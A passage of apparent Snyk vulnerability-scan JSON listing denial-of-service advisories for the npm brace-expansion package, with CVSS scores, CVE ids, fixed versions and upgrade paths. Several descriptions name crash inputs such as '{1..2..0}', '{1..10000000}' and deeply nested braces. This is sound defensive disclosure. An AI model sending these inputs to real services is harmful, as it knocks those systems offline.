"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": 